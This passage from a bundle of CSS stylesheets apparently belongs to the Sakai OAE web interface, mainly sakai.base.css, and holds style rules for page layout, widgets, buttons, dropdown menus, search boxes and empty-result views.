textarea{letter-spacing:.6em;}\n.fl-text-aqua{color:aqua!important;}\n.fl-text-black{color:black!important;}\n.fl-text-blue{color:blue!important;}\n.fl-text-fuchsia{color:fuchsia!important;}\n.fl-text-gray{color:gray!important;}\n.fl-text-green{color:green!important;}\n.fl-text-lime{color:lime!important;}\n.fl-text-maroon{color:maroon!important;}\n.fl-text-navy{color:navy!important;}\n.fl-text-olive{color:olive!important;}\n.fl-text-purple{color:purple!important;}\n.fl-text-red{color:red!important;}\n.fl-text-silver{color:silver!important;}\n.fl-text-teal{color:teal!important;}\n.fl-text-white{color:white!important;}\n.fl-text-yellow{color:yellow!important;}\n.fl-text-underline{text-decoration:underline!important;}\n.fl-text-bold{font-weight:bold!important;}\n.fl-text-larger{font-size:125%!important;}\n.fl-input-outline{border:2px solid;}\n.fl-highlight-yellow,.fl-highlight-hover-yellow:hover,.fl-highlight-focus-yellow:focus{background-color:#FF0!important;background-image:none!important;}\n.fl-highlight-green,.fl-highlight-hover-green:hover,.fl-highlight-focus-green:focus{background-color:#0F0!important;background-image:none!important;}\n.fl-highlight-blue,.fl-highlight-hover-blue:hover,.fl-highlight-focus-blue:focus{background-color:#00F!important;background-image:none!important;}\n\n", "dev/css/sakai/sakai.base.css": "/**\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\n/*\n * GLOBAL RULES\n */\nbody, button{font-family:Arial, Helvetica, sans-serif !important;line-height:120%;}\n.section_header{font-weight:bold;border-bottom:1px solid #ebebeb;font-size:17px;padding-bottom:3px;}\n\n/* adding a visible outline on focus for accessibility */\n*:focus{outline:1px dotted #000;}\n/*apply to any container that needs to be rendered off-screen, but available to screen readers*/\n.s3d-aural-text {position: absolute;clip: rect(1px 1px 1px 1px); /* IE6, IE7 */clip: rect(1px, 1px, 1px, 1px);overflow:hidden;width:1px;height:1px;} \n\n/* HTML TAG OVERRIDES - on top of the FSS reset */\nh1{font-family:Arial,Helvetica,sans-serif;font-size:18px;color:#333;font-weight:bold;line-height:normal;}\nh2{font-family:Arial,Helvetica,sans-serif;font-size:20px;color:#666;}\nh3{font-family:Arial,Helvetica,sans-serif;font-size:18px;color:#666;font-weight:bold;}\nh4{font-family:Arial,Helvetica,sans-serif;font-size:13px;color:#aaa;text-transform:uppercase;}\nh5{font-family:Arial,Helvetica,sans-serif;font-size:18px;color:#aaa;font-weight:bold;}\nh6{font-family:Arial,Helvetica,sans-serif;font-size:18px;color:#aaa;}\nblockquote{font-family:Arial;font-size:14px;color:#666;}\n.caption{font-family:Arial;font-size:11px;color:#666;}\n\n/* \n * PAGE LAYOUT\n */\n.fixed-container {padding:0 20px;width: 920px;overflow:hidden;}\n.s3d-header .fixed-container { background-color: #FFF;}\n.s3d-header .fixed-container .decor_left {background:url(\"/dev/images/dashboard_sprite.png\") no-repeat scroll left -10px transparent; float:left; height:5px; margin-left:-20px; width:5px;}\n.s3d-header .fixed-container .decor { background: url(\"/dev/images/dashboard_sprite.png\") no-repeat scroll right -10px transparent; height: 5px; margin-right: -20px; }\n.grep {color:#666 !important;font-weight:bold;}\n.s3d-gray {color:#666;}\n.s3d-lowercase {text-transform: lowercase;}\n\n.block_image_left {float: left;}\n.block_image_right {float: right;}\n\n/* GENERAL WIDGET CSS */\n/* Widget settings */\n#widget_settings_menu {position:absolute;top:0;left:0;margin-top:10px;}\n\n.s3d-dropdown-list {background:url(\"/dev/images/dropdown_list_bg.png\") repeat-x scroll left top #F5F5F5;border: 1px solid #aaa;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 6px 0 #666;}\n.s3d-dropdown-list ul {padding:0;margin:5px;}\n.s3d-dropdown-list ul li {padding:2px 5px;margin:0;font-size:12px;list-style-type:none;cursor:pointer;}\n.s3d-dropdown-list ul li button, .s3d-dropdown-list ul li a {color:#2683bc;font-size:11px;font-weight:bold;text-decoration:none;}\n.s3d-dropdown-list ul li a:hover {color:#999;}\n.s3d-dropdown-list .s3d-dropdown-list-arrow-up {background:url(\"/dev/images/dropdown_list_arrow_up.png\") no-repeat scroll left top transparent;height:20px;margin-top:-20px;position:absolute;right:8px;width:25px;}\n.s3d-dropdown-list .s3d-dropdown-hassubnav {background: url(\"/dev/images/arrow_right.png\") no-repeat right 7px transparent;padding-right: 12px;}\n.s3d-dropdown-list .s3d-dropdown-hassubnav:hover ul {display:block; !important;}\n.s3d-dropdown-list .s3d-dropdown-hassubnav ul {padding:5px; display:none;box-shadow: 2px 0 7px -2px #666;left: 87px;margin-top: -18px;position: absolute;}\n.s3d-dropdown-list .s3d-dropdown-hassubnav ul li {white-space: nowrap;}\n\n/* NEW WIDGETS */\n.s3d-widget-container .fl-widget-titlebar .settings {position:relative;height:18px;margin:8px 0 0;text-indent:0 !important;color:#666 !important;}\n.s3d-widget-container .fl-widget-titlebar .settings:hover {color:#2683BC !important;}\n.s3d-widget-container {border:solid 1px #dfdfdf;border-top:none;-moz-border-radius:0 0 5px 5px;-webkit-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px;margin-bottom:10px;}\n.s3d-widget-container .s3d-contentpage-title {border-bottom:none;background:url(\"/dev/images/widget_header_bg.png\") repeat-x scroll left top #dddddc;height:34px;line-height:34px;padding:0 12px;color:#666;font-weight:bold;font-size:13px;}\n.s3d-widget-container .s3d-contentpage-title:hover {cursor:pointer}\n.s3d-widget-container .hiddenwidget .s3d-contentpage-title {margin-bottom:0;}\n.s3d-widget-footer {min-height:14px;background-color:#DDDDDC;-moz-border-radius:0 0 5px 5px;-webkit-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px;margin-top:7px;padding:7px 12px;box-shadow:0 1px 0 0 #bbb;}\n.s3d-widget-footer a, .s3d-widget-footer span {float:right;}\n.s3d-widget-footer-divider {font-size: 11px; color: #999999; padding-left: 5px;}\n\n/* Change layout */\n#change_layout_dialog {width: 840px !important; margin-left: -420px !important;}\n#change_layout_dialog .elf-right-up {padding: 25px 0}\n#change_layout_dialog .add-tools-right {width:100%;}\n#change_layout_dialog .layout_container {float:left;padding-left:25px;padding-right:13px;}\n#change_layout_dialog .layout_picker_item {width:114px; height: 62px; border: 2px solid #3399CC; border-right: 2px solid #3399CC; background-color: #EEFFFF;}\n#change_layout_dialog .layout_picker_item_column {border-right: 1px solid #3399CC;}\n#change_layout_dialog .layout_picker_item_radio {margin-left:50px; margin-top:10px;}\n#change_layout_dialog .layout_container_unselected {float:left; padding-left:25px; padding-right:13px;}\n#change_layout_dialog .layout_picker_item_unselected {width:114px; height: 62px; border: 2px solid #dddfe1; border-right: 2px solid #dddfe1; background-color: #F8F8F8;}\n#change_layout_dialog .layout_picker_item_column_unselected {border-right: 1px solid #dddfe1;}\n#change_layout_dialog .layout_picker_item_radio_unselected {margin-left:50px; margin-top: 10px;}\n#change_layout_dialog #layouts_list {display:block;}\n\n/* Add Sakai Goodies */\n#add_goodies_dialog {width:520px; height: 374px; margin-left: -260px;}\n.add_goodies .s3d-button {margin:0; height:23px;}\n.add_goodies .dialog_body {height:308px; overflow-y:auto; overflow-x:hidden; position:relative; width:471px;}\n.add_goodies  ul {margin:0;}\n.add_goodies  ul li{border-bottom: 1px solid #efefef;line-height:30px;list-style:none;padding:0 12px;}\n.add_goodies  ul li:hover{background-color:#dbeefc;}\n.add_goodies .dialog_add_goodies_description {color:#333;font-size:13px;font-weight:normal;}\n.add_goodies .dialog_remove_goodies_title {color:#999;font-size:14px;font-weight:bold;}\n.add_goodies .dialog_remove_goodies_description {color:#999999;font-size:12px;font-weight:100;}\n.add_goodies .dialog_add_goodies_title {color:#333;font-size:13px;font-weight:bold;}\n.add_goodies .remove_add_column {float:right;width:100px;}\n\n/* D&D Classes */\n.ui-draggable, .orderable-hover {cursor:move;}\n.orderable-dragging {opacity:0.2; width:auto;}\n.orderable-selected {}\n.orderable-avatar {background-color:#666666; border:1px solid #666666; height:25px; width:50px; z-index:65535;}\ndiv .orderable-drop-marker {background-color:#FA7019; height:10px !important;}\n.drop-warning {background-color:#FFD7D7; border:2px solid red; display:none; left:10px; margin:5px; padding:10px; position:absolute; top:50px; z-index:65535;}\n.orderable-drop-marker-box {background-color:#FFFFFF; border:2px dashed #AAAAAA; height:200px !important; margin-bottom:1em; width:97%;}\n\n/*\n * INSERT MORE DROPDOWN\n */\n.insert_more_menu{position:absolute;left:5px;top:5px;border:1px solid #ccc;background-color:#fff;font-size:.95em!important;}\n.insert_more_menu_border{border-bottom:1px solid #ccc;}\n.insert_more_menu ul{padding:5px 15px 5px 7px;margin:0;}\n.insert_more_menu li{list-style-type:none;}\n.insert_more_menu_inactive{color:#aaa;}\n\n\n/*\n * DROPDOWN MENU\n */\n.s3d-dropdown-menu {display: inline-block;list-style: none outside none;margin-top:4px;padding:0;cursor:pointer; margin-left:-2px;}\n.s3d-dropdown-menu:hover {background: url(\"/devwidgets/topnavigation/images/topnav_nav_hover.png\") repeat-x scroll left top #3480b2;-moz-border-radius:2px 2px 2px 2px; border-radius:2px 2px 2px 2px; -webkit-border-radius:2px 2px 2px 2px;padding:0px;}\n.s3d-dropdown-menu ul, .s3d-dropdown-menu .s3d-dropdown-menu-content-container {margin:0;padding: 10px 7px;display:block;background-color: #F3F3F3;-moz-border-radius:2px; border-radius:2px; -webkit-border-radius:2px;}\n.s3d-dropdown-menu ul li {display:block; list-style:none;padding:1px;margin:0 2px;cursor:pointer;color:#636363; text-decoration:none; font-weight:normal;}\n.s3d-dropdown-menu ul li:hover {background:url(\"/devwidgets/topnavigation/images/topnav_nav_list_hover.png\") repeat-x scroll left top transparent;}\n.s3d-dropdown-menu ul li a {text-decoration:none;display:block;padding:5px 6px;}\n.s3d-dropdown-menu ul li:hover a {color:#f3f3f3;}\n.s3d-dropdown-menu ul li a {color:#2683bc;font-size:12px;}\n.s3d-dropdown-menu .s3d-dropdown-container {background:url(\"/devwidgets/topnavigation/images/topnav_nav_hover_list_bg.png\") repeat-x scroll left top #0c4e79;-moz-border-radius:0 0 5px 5px; border-radius:0 0 5px 5px; -webkit-border-radius:0 0 5px 5px;-moz-box-shadow:0 10px 10px -3px #333333; -webkit-box-shadow:0 10px 10px -3px #333333; box-shadow:0 10px 10px -3px #333333;position:absolute;z-index:999;min-width:140px;padding:5px;-moz-border-radius:0 2px 2px 2px; border-radius:0 2px 2px 2px; -webkit-border-radius:0 2px 2px 2px;cursor:auto;}\n.s3d-split-line {background-color:none;border:medium none;border-top:1px dotted #d4d4d4;height: 1px;margin: 3px 9px;}\n\n/*\n * MARGINS\n */\n.s3d-margin-top-3 {margin-top: 3px !important;}\n.s3d-margin-top-5 {margin-top: 5px !important;}\n.s3d-margin-top-10 {margin-top: 10px !important;}\n.s3d-margin-top-15 {margin-top: 15px !important;}\n.s3d-margin-top-20 {margin-top: 20px !important;}\n.s3d-button.s3d-margin-top-5 {height:19px;line-height:19px;}\n.s3d-button.s3d-no-margin-top {margin-top:0;height:18px !important;line-height:18px;}\n/* \n * LINKS\n */\na{color:#333;text-decoration:none;}\na:hover{text-decoration:underline;}\n.s3d-add_another_location{clear:both;color:#39C;font-size:13px;font-weight:bold;background:url(/dev/images/icons_sprite.png) no-repeat scroll left -21px transparent;float:left;width:16px;height:16px;display:block;margin-right:6px;}\n.s3d-add_another_location_container{clear:both;display:block;padding:7px 0;width:200px;}\n.s3d-hidden,.i18nable{display:none;}\n.s3d-bold{font-weight:bold;}\na.s3d-regular-links,span.s3d-regular-links,.s3d-regular-links a, button.s3d-regular-links, .s3d-regular-links button, .contentauthoring_cell_element a{color:#2683bc;}\na.s3d-widget-links,span.s3d-widget-links,.s3d-widget-links a, button.s3d-widget-links, .s3d-widget-links button{color:#2683bc; font-size:0.9em;}\n.s3d-regular-light-links,.s3d-regular-light-links a,.s3d-regular-light-links button{color:#058EC4 !important;}\n.s3d-content-type-link a{color:#5FB3D2;}\n.s3d-remove-links{float:right;margin-right:10px;height:16px;}\n.s3d-tab-active a{background-color:#FFF!important;color:#000!important;font-weight:400!important;border-color:#DDD #DDD #EEE;border-style:solid;border-width:1px;}\n\n/* new path used when creating pages */\n.content_container .new_page_path {line-height: 3em;color:#999;}\n.content_container .new_page_path span {color:#000;}\n\n/* PAGE HEADERS */\n.s3d-page-header-top-row {clear:both;margin-bottom:10px;}\n.s3d-page-header-top-row .s3d-search-inputfield {width:220px;}\n.s3d-page-header-top-row .s3d-page-header-sort-area {float:right;}\n.s3d-page-header-top-row .s3d-page-header-sort-area select {border:1px solid #999;}\n.s3d-page-header-bottom-row {line-height:30px;margin-bottom:15px;}\n.s3d-page-header-bottom-row button, .s3d-page-header-bottom-row .s3d-page-header-selectall {margin-top:6px;}\n.s3d-page-header-bottom-row .s3d-page-header-selectall {height:21px !important;line-height:23px;padding:0 6px 0 5px;width:13px;float:left;}\n.s3d-page-header-bottom-row .s3d-button .s3d-page-header-add-to-icon {background: url(\"/dev/images/savecontent_button_icon_16x16.png\") no-repeat scroll left center transparent;display:block;float:right;height:18px;margin-left:5px;width:16px;}\n.s3d-page-header-bottom-row .s3d-button:hover .s3d-page-header-add-to-icon {background:url(\"/dev/images/savecontent_button_icon_16x16_hover.png\") no-repeat scroll left center transparent;}\n.s3d-page-header-bottom-row .s3d-button[disabled]:hover .s3d-page-header-add-to-icon {background: url(\"/dev/images/savecontent_button_icon_16x16.png\") no-repeat scroll left center transparent;}\n\n/* LIST VIEW OPTIONS */\n.s3d-listview-options {float:right;padding:0 !important;height:19px !important;margin-top:4px;margin-left:20px;border-radius:3px !important;-moz-border-radius:3px !important;-webkit-border-radius:3px !important;}\n.s3d-listview-options:hover {background:#fff;box-shadow:0 0 4px -2px #A8A8A8 inset;}\n.s3d-listview-options > div {float:left;height:15px;padding:3px 4px 2px;}\n.s3d-listview-options > div.selected,\n.s3d-listview-options > div:hover {background:url(\"/dev/images/button_header_hover.png\") repeat-x scroll left -1px transparent;box-shadow:0 0 4px -2px #A8A8A8 inset;} \n.s3d-listview-options > div:last-child {border-radius:0 3px 3px 0;}\n.s3d-listview-options > div:first-child {border-radius:3px 0 0 3px;}\n\n/*\n * BUTTONS \n */\n.s3d-sprites-buttons{background-color:#FFF;padding:0;position:absolute;left:0;top:0;display:block;width:106px;margin:0;}\n.s3d-sprites-buttons ul{margin:0;border:1px solid #cbd0d4;-moz-border-radius:4px;-webkit-border-radius:4px;border-radius:4px;}\n.s3d-sprites-buttons ul li{padding:5px 0 5px 9px;list-style-type:none;}\n.s3d-sprites-buttons ul li:hover{background-color:#dbeefc;cursor:pointer;}\n.s3d-sprites-buttons ul li a{font-weight:400;font-size:12px;}\n.s3d-sprites-buttons ul li a:hover{text-decoration:none;}\n.s3d-sprites-buttons ul li.more_option{border-bottom:1px solid #cbd0d4;}\n.s3d-sprites-buttons ul li.more_option.option_last{border-bottom:0;}\n.s3d-sprites-buttons .more_link{background:transparent url(\"/dev/images/more_bg_18.png\") top left no-repeat;padding:1px 21px 2px 12px;}\n\n/* New button style */\n/* General */\n.s3d-button {border-radius:5px 5px 5px 5px;color:#666;height:27px;padding:1px 12px 0;cursor:pointer;font-weight:bold;font-size:11px;text-align:center;margin-right:5px;border:none;}\nbutton.s3d-button:focus {box-shadow:0 0 2px 1px #2683BC;}\na.s3d-button {text-decoration:none;}\n\n/* Link buttons */\n.s3d-link-button {margin:0;padding:0;background: none repeat scroll 0 0 transparent;border: medium none;color:#2683bc;font-family: Arial,Helvetica,sans-serif;font-size:13px;display: inline-block;text-align:left;font-size:11px;}\n.s3d-link-button:disabled {cursor:default !important;}\n.s3d-link-button:focus {box-shadow:none !important;}\n.s3d-link-button:hover {cursor:pointer;text-decoration:none;color:#999;}\n.s3d-link-button::-moz-focus-inner {padding:0;margin:0;border:0;}\n\n/* Header buttons */\n.s3d-button.s3d-header-button {background:#fff;box-shadow:0 0 4px -2px #A8A8A8 inset;border:1px solid #e0e3e5;}\n.s3d-button.s3d-header-button:hover, .s3d-button.s3d-header-button.selected {background:url(\"/dev/images/button_header_hover.png\") repeat-x scroll left -1px transparent;border:1px solid #E0E3E5;box-shadow:none;}\n.s3d-button.s3d-header-button:disabled {background:#fff;cursor:auto;color:#ccc}\n.s3d-button.s3d-header-button:disabled:hover {background:#fff;box-shadow:0 0 4px -2px #A8A8A8 inset;border:1px solid #e0e3e5;}\na.s3d-button.s3d-header-button {height:24px;line-height:24px;}\n\n/* Left pop out buttons */\n.s3d-popout-button-shadow {background:url(\"/dev/images/button_popout_border_shadow.png\") no-repeat scroll left top transparent;float:left;height:56px;margin-left:-10px;margin-top:-12px;position:absolute;width:20px;}\n.s3d-button.s3d-header-button.s3d-popout-button {color:#666;padding:0 5px 0 10px;font-size:13px;height:30px;}\n.s3d-button.s3d-header-button.s3d-popout-button:hover {background:url(\"/dev/images/button_popout_hover.png\") repeat-x scroll left -1px transparent;border:1px solid #31b2eb;color:#fff;}\n.s3d-button.s3d-header-button.s3d-popout-button:disabled {background:#fff;cursor:auto;color:#ccc}\n.s3d-button.s3d-header-button.s3d-popout-button:disabled:hover {background:#fff;;border:1px solid #E0E3E5;box-shadow:0 0 4px -2px #A8A8A8 inset;}\n.s3d-button.s3d-header-button.s3d-popout-button > span {display:inline-block;float:right;font-size:18px;margin-left:4px;}\n\n/* Header buttons, smaller */\n.s3d-button.s3d-header-button.s3d-header-smaller-button,\na.s3d-button.s3d-header-button.s3d-header-smaller-button {font-size:10px;height:23px;padding:0 5px;line-height:19px;}\na.s3d-button.s3d-header-button.s3d-header-smaller-button {display:inline-block;height:22px;padding:0 8px;}\n\n/* Regular in-page buttons */\n.s3d-button.s3d-regular-button{background:url(\"/dev/images/button_regular_default.png\") repeat-x scroll left top transparent;height:24px;padding:0 7px;border:1px solid #e0e3e5;color:#666;box-shadow:0 1px 1px 0 #999;text-shadow:0 2px 3px #fff;}\n.s3d-button.s3d-regular-button:hover{background:url(\"/dev/images/button_regular_hover.png\") repeat-x scroll left top transparent;}\na.s3d-button.s3d-regular-button{height:24px;line-height:24px;}\n\n/* Large in-page buttons */\n.s3d-button.s3d-large-button {background:url(\"/dev/images/button_large_default.png\") repeat-x scroll left top transparent;height:31px;padding:0 7px;border:1px solid #e0e3e5;color:#2683bc;box-shadow:0 1px 1px 0 #999;text-shadow:0 2px 3px #fff;font-size:13px;}\n.s3d-button.s3d-large-button:hover {background:url(\"/dev/images/button_large_hover.png\") repeat-x scroll left top transparent;color:#999;}\n.s3d-button.s3d-large-button.grey {color:#666;}\na.s3d-button.s3d-large-button {line-height:31px;}\n\n/* Overlay buttons */\n.s3d-button.s3d-overlay-button {background:url(\"/dev/images/button_overlay_default.png\") repeat-x scroll left top transparent;border:1px solid #E0E3E5;font-size:11px;font-weight:bold;height:24px;margin-left:15px;box-shadow:0 1px 1px 0 #999;text-shadow:0 2px 3px #fff;color:#2683bc;}\n.s3d-button.s3d-overlay-button:hover {background:url(\"/dev/images/button_overlay_hover.png\") repeat-x scroll left top transparent;}\n.s3d-button.s3d-overlay-button:disabled {color:#ccc;}\n.s3d-button.s3d-overlay-button:disabled:hover {background:none !important;border:none !important;cursor:auto;}\na.s3d-button.s3d-overlay-button {display:inline-block;height:21px;line-height:21px;}\n\n/* Overlay Action buttons */\n.s3d-button.s3d-overlay-action-button {background:url(\"/dev/images/button_overlay_action_default.png\") repeat-x scroll left top transparent;font-size:11px;font-weight:bold;height:25px;margin-left:15px;box-shadow:0 1px 2px 0 #222;color:#fff;padding:0 5px;}\n.s3d-button.s3d-overlay-action-button:hover, .s3d-button.s3d-overlay-action-button:focus {background:url(\"/dev/images/button_overlay_action_hover.png\") repeat-x scroll left top transparent;color:#22AAE7;}\n.s3d-button.s3d-overlay-action-button:disabled {color:#ccc;}\n.s3d-button.s3d-overlay-action-button:disabled:hover {background:url(\"/dev/images/button_overlay_action_default.png\") repeat-x scroll left top transparent;cursor:auto;}\n\n.s3d-button.s3d-overlay-button.grey, .s3d-button.s3d-overlay-action-button.grey {color:#666;}\n\n/* No text buttons */\n.s3d-button.s3d-button-no-text {padding:0 !important;}\n\n/* Button in another button */\n.s3d-button .s3d-button-in-button {background:url(\"/dev/images/button_in_button_default.png\") repeat-x top left #5d6267;color:#fff;display:inline;height:15px;line-height:15px;margin:0 0 0 5px;padding:2px 4px;border:1px solid #4f4f4f;}\n.s3d-button .s3d-button-in-button-lighter {background:url(\"/dev/images/button_in_button_light_default.png\") repeat-x scroll left top #CBC9C9;border:1px solid #B5B5B5;color:#fff;display:inline;height:12px;line-height:12px;margin:2px 9px 0 -3px;padding:0 4px;float:left;}\n\n.s3d-button.s3d-overlay-action-button .s3d-button-in-button {display:inline-block;margin-top:-3px;}\n\n/*\n * WIDGET LAYOUT\n */\n.s3d-widget-titlebar{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -473px transparent;padding:0 10px 0 0;min-height:49px;}\n.s3d-widget-titlebar-inner{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -570px transparent;padding:0 0 0 5px;min-height:50px;}\n.s3d-widget .s3d-widget-content,.s3d-content{padding:10px 0;margin:0!important;border-left:3px solid #D4DADE;border-right:3px solid #D4DADE;}\n.s3d-widget .s3d-widget-options-footer-left{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -70px -436px #D5DBDF;height:12px;}\n.s3d-widget-small-content{padding:5px 0!important;}\n.fl-widget { margin-bottom :7px;}\n.fl-widget .fl-widget-options-footer-top{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -528px #D5DBDF;height:16px;}\n.fl-widget .fl-widget-options .fl-widget-options-top-right{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -432px transparent;float:right;height:16px;padding:0 0 7px 14px;width:16px;}\n.s3d-widget .s3d-widget-options-footer-right{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -456px #D5DBDF;float:right;height:12px;width:16px;}\n.s3d-widget .s3d-widget-no-options,.s3d-no-options{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1453px transparent;padding:0 5px 0 0;margin:0;}\n.s3d-widget .s3d-widget-no-options-inner,.s3d-no-options-inner{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1433px transparent;margin:0;height:6px;}\n\n.fl-col-flex2 .fl-col{margin-left:5px;margin-right:0;padding-left:0;padding-right:0;width:348px;margin-right:8px;}\n.fl-col-flex2 .fl-col:last-child {margin-right:0;}\n.fl-col-flex3 .fl-col{margin-left:5px;margin-right:0;padding-left:0;padding-right:0;width:228px;margin-right:8px;}\n.fl-col-flex3 .fl-col:last-child {margin-right:0;}\n\n.s3d-inset-shadow-container {background-color:#ededed;border:1px solid #ededed;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:inset 0 5px 5px -5px #888888;-moz-box-shadow:inset 0 5px 5px -5px #888888;-webkit-box-shadow:inset 0 5px 5px -5px #888888;}\n.s3d-outer-shadow-container {background-color:#FFF;border-radius:4px;box-shadow:0 1px 1px 0 #BBB;-moz-box-shadow:0 1px 1px 0 #BBB;-webkit-box-shadow:0 1px 1px 0 #BBB;margin:0 3px 3px 0;padding:15px 13px 11px;}\n\n/*\n * SEARCH BOXES\n */\n.s3d-search-container .s3d-search-inputfield {height: 22px;padding: 0 4px;color: #333;font-size: 12px;border:1px solid #ccc !important;float:left;}\n.s3d-search-container input::-webkit-input-placeholder {color:#7c7b7b;font-style:italic;font-size:11px !important;}\n.s3d-search-container input:-moz-placeholder{color:#7c7b7b;font-style:italic;font-size:11px !important;}\n.s3d-search-container .s3d-search-button {height:25px !important;width:24px;padding:3px 0 0 0 !important;margin-left:2px;background:none !important;border: none !important;box-shadow:none !important;-moz-box-shadow:none !important;-webkit-box-shadow:none !important;}\n.s3d-search-container .s3d-search-button:hover, .s3d-search-container .s3d-search-button:focus {background: url(\"/dev/images/searchbutton_hover_bg.png\") repeat-x top left transparent !important;border:1px solid #ccc !important;}\n.s3d-search-container .s3d-search-button img {margin:0 auto;}\n.s3d-search-container .s3d-search-button .s3d-search-button-icon{margin:0 auto;display:block;width:16px;height:19px;background: url(\"/dev/images/search_icon.png\") no-repeat top left transparent;}\n\n/*\n * NO RESULTS VIEW (When a widget feed doesn't return any results)\n */\n.s3d-no-results-container {background: url(\"/dev/images/noresults_bg.png\") repeat scroll left top transparent;-moz-border-radius:5px;border-radius:5px;padding:20px;margin:30px 0px 0px;list-style:none}\n.s3d-no-results-container .s3d-no-results-arrow-up {background:url(\"/dev/images/noresults_arrow_up.png\") no-repeat top left transparent;position:absolute;margin-top:-44px;width:36px;height:24px;}\n.s3d-no-results-container h1 {color:#666;font-size:18px;font-weight:normal;margin:5px 0 10px 0 !important;}\n.s3d-no-results-container h1 button{font-size:18px;}\n.s3d-no-results-container .s3d-no-results-icon {width:55px;height:50px;float:left;margin:0 12px 0 0;}\n.s3d-no-results-container .s3d-no-results-icon.less-margin {margin:-8px 12px 0 0;}\n\n.s3d-no-results-container .s3d-no-results-magnifier {background:url(\"/dev/images/magnifier_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-world {background:url(\"/dev/images/world_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-people {background:url(\"/dev/images/person_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-content {background:url(\"/dev/images/content_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-content-small {background:url(\"/dev/images/content_icon_42x46.png\") no-repeat top left transparent;width:46px;height:42px;}\n.s3d-no-results-container .s3d-no-results-memberships {background:url(\"/dev/images/memberships_icon_60x55.png\") no-repeat top left transparent;width:60px;}\n.s3d-no-results-container .s3d-no-results-memberships-small {background:url(\"/dev/images/memberships_icon_42x46.png\") no-repeat top left transparent;width:46px;height:42px;}\n.s3d-no-results-container .s3d-no-results-contacts {background:url(\"/dev/images/contacts_icon_60x55.png\") no-repeat top left transparent;width:60px;}\n.s3d-no-results-container .s3d-no-results-contacts-small {background:url(\"/dev/images/contacts_icon_42x46.png\") no-repeat top left transparent;width:46px;height:42px;}\n.s3d-no-results-container .s3d-no-results-replied {background:url(\"/dev/images/replied_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-trash {background:url(\"/dev/images/trash_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-upload {background:url(\"/dev/images/upload_icon_42x46.png\") no-repeat top left transparent;width:46px;height:42px;}\n.s3d-no-results-container .s3d-no-results-search-messages {background:url(\"/dev/images/no-messages-found-icon.png\") no-repeat top left transparent;width:46px;height:42px;}\n.s3d-no-results-container .s3d-no-results-search-world {background:url(\"/dev/images/world_search_icon_55x55.png\") no-repeat scroll left top transparent;}\n.s3d-no-results-container .s3d-no-results-search-people {background:url(\"/dev/images/people_search_icon_55x55.png\") no-repeat scroll left top transparent;}\n.s3d-no-results-container .s3d-no-results-search-content {background:url(\"/dev/images/content_search_icon_55x55.png\") no-repeat scroll left top transparent;}\n.s3d-no-results-container .s3d-no-results-sakai2sites {background:url(\"/dev/images/sakai2_icon_43x40.png\") no-repeat top left transparent;width:46px;height:45px;}\n\n\n\n.s3d-action-icon {width:16px;height:16px;cursor:pointer; margin-top: -2px;}\n.s3d-action-icon-spacing-right {margin-right:7px;}\n.s3d-action-icon-spacing-left {margin-left:7px;}\n.s3d-action-icon.disabled {display:none;}\n\n.s3d-actions-delete {background:url(\"/dev/images/delete_icon_default.png\") no-repeat top left transparent;}\n.s3d-actions-delete:hover {background:url(\"/dev/images/delete_icon_hover.png\") no-repeat top left transparent;}\n\n.s3d-actions-addtolibrary {background:url(\"/dev/images/addtolibrary_icon_default.png\") no-repeat top left transparent; width: 17px; height: 25px;}\n.s3d-actions-addtolibrary:hover {background:url(\"/dev/images/addtolibrary_icon_hover.png\") no-repeat top left transparent;}\n\n.s3d-actions-author {background:url(\"/dev/images/author_icon_default.png\") no-repeat scroll left top transparent;width:32px !important;}\n.s3d-actions-author:hover {background:url(\"/dev/images/author_icon_hover.png\") no-repeat scroll left top transparent;}\n\n.s3d-actions-share {background:url(\"/dev/images/share_icon_default.png\") no-repeat scroll left top transparent; width: 23px !important;}\n.s3d-actions-share:hover {background:url(\"/dev/images/share_icon_hover.png\") no-repeat scroll left top transparent;}\n\n.s3d-actions-message {background:url(\"/dev/images/message_icon_default.png\") no-repeat scroll left top transparent;}\n.s3d-actions-message:hover {background:url(\"/dev/images/message_icon_hover.png\") no-repeat scroll left top transparent;}\n.s3d-button:hover .s3d-actions-message {background:url(\"/dev/images/message_icon_hover.png\") no-repeat scroll left top transparent;}\n.s3d-button:disabled:hover .s3d-actions-message {background:url(\"/dev/images/message_icon_default.png\") no-repeat scroll left top transparent;}\n\n.s3d-black-check-icon {background:url(\"/dev/images/black_check_icon.png\") no-repeat scroll left top transparent;}\n\n.s3d-above-icon {background:url(\"/dev/images/above_icon_16x16.png\") no-repeat scroll left top transparent;}\n.s3d-below-icon {background:url(\"/dev/images/below_icon_16x16.png\") no-repeat scroll left top transparent;}\n\n/*\n * CONTENT LAYOUT \n */\n.s3d-header .s3d-fixed-container .s3d-decor-left{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll 0 -10px 